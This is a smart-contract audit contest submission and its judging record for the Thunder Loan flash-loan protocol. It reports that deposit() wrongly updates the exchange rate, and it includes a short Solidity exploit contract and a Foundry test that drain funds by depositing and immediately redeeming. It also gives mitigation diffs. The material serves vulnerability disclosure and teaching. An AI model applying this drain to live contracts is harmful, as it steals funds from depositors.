Thunder Loan
AI First Flight #7
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Submission Details
Severity: high
Valid

deposit() charges flashloan fee enabling instant arbitrage

asanbay05

Root + Impact

ThunderLoan.deposit() incorrectly calls updateExchangeRate() with a flashloan-style fee calculated by getCalculatedFee(). This charges depositors a fee meant for borrowers and enables instant arbitrage: deposit at a lower rate, immediately redeem at a higher rate for profit.

Description

• Normal behavior: Depositors should deposit tokens without fees. The exchange rate should only update when flashloan borrowers repay with fees. Depositors should not pay fees on entry. • Specific issue: deposit() calls getCalculatedFee(token, amount) and passes it to updateExchangeRate(). This artificially inflates the exchange rate during deposit. A user can deposit, watch the rate increase, and immediately redeem in the same transaction for more underlying than deposited.

Risk

Likelihood: High — any user can execute this in a single atomic transaction. No special permissions required.

Impact: High — direct economic exploit. Users drain protocol value through risk-free arbitrage. The protocol loses funds while the attacker gains guaranteed profit.

Proof of Concept

solidity

contract ArbitrageExploit {
function execute() external {
uint256 balanceBefore = token.balanceOf(address(this));
​
// 1. Deposit 1000 tokens
thunderLoan.deposit(token, 1000);
uint256 assetBalance = assetToken.balanceOf(address(this));
​
// During deposit, exchangeRate increased by fee
// 2. Immediately redeem at higher rate
thunderLoan.redeem(token, assetBalance);
​
// 3. Profit: received more than 1000 underlying back
uint256 balanceAfter = token.balanceOf(address(this));
uint256 profit = balanceAfter - balanceBefore;
// profit > 0 because exchangeRate grew during deposit
}
}

Recommended Mitigation

solidity

function deposit(IERC20 token, uint256 amount) external {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
uint256 mintAmount = (amount * EXCHANGE_RATE_PRECISION) / exchangeRate;
emit Deposit(msg.sender, token, amount);
assetToken.mint(msg.sender, mintAmount);
// REMOVE: uint256 calculatedFee = getCalculatedFee(token, amount);
// REMOVE: assetToken.updateExchangeRate(calculatedFee);
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Updating exchange rate on token deposit will inflate asset token's exchange rate faster than expected

# Summary Exchange rate for asset token is updated on deposit. This means users can deposit (which will increase exchange rate), and then immediately withdraw more underlying tokens than they deposited. # Details Per documentation: > Liquidity providers can deposit assets into ThunderLoan and be given AssetTokens in return. **These AssetTokens gain interest over time depending on how often people take out flash loans!** Asset tokens gain interest when people take out flash loans with the underlying tokens. In current version of ThunderLoan, exchange rate is also updated when user deposits underlying tokens. This does not match with documentation and will end up causing exchange rate to increase on deposit. This will allow anyone who deposits to immediately withdraw and get more tokens back than they deposited. Underlying of any asset token can be completely drained in this manner. # Filename `src/protocol/ThunderLoan.sol` # Permalinks https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#L153-L154 # Impact Users can deposit and immediately withdraw more funds. Since exchange rate is increased on deposit, they will withdraw more funds then they deposited without any flash loans being taken at all. # Recommendations It is recommended to not update exchange rate on deposits and updated it only when flash loans are taken, as per documentation. ```diff function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) { AssetToken assetToken = s_tokenToAssetToken[token]; uint256 exchangeRate = assetToken.getExchangeRate(); uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate; emit Deposit(msg.sender, token, amount); assetToken.mint(msg.sender, mintAmount); - uint256 calculatedFee = getCalculatedFee(token, amount); - assetToken.updateExchangeRate(calculatedFee); token.safeTransferFrom(msg.sender, address(assetToken), amount); } ``` # POC ```solidity function testExchangeRateUpdatedOnDeposit() public setAllowedToken { tokenA.mint(liquidityProvider, AMOUNT); tokenA.mint(user, AMOUNT); // deposit some tokenA into ThunderLoan vm.startPrank(liquidityProvider); tokenA.approve(address(thunderLoan), AMOUNT); thunderLoan.deposit(tokenA, AMOUNT); vm.stopPrank(); // another user also makes a deposit vm.startPrank(user); tokenA.approve(address(thunderLoan), AMOUNT); thunderLoan.deposit(tokenA, AMOUNT); vm.stopPrank(); AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA); // after a deposit, asset token's exchange rate has aleady increased // this is only supposed to happen when users take flash loans with underlying assertGt(assetToken.getExchangeRate(), 1 * assetToken.EXCHANGE_RATE_PRECISION()); // now liquidityProvider withdraws and gets more back because exchange // rate is increased but no flash loans were taken out yet // repeatedly doing this could drain all underlying for any asset token vm.startPrank(liquidityProvider); thunderLoan.redeem(tokenA, assetToken.balanceOf(liquidityProvider)); vm.stopPrank(); assertGt(tokenA.balanceOf(liquidityProvider), AMOUNT); } ```

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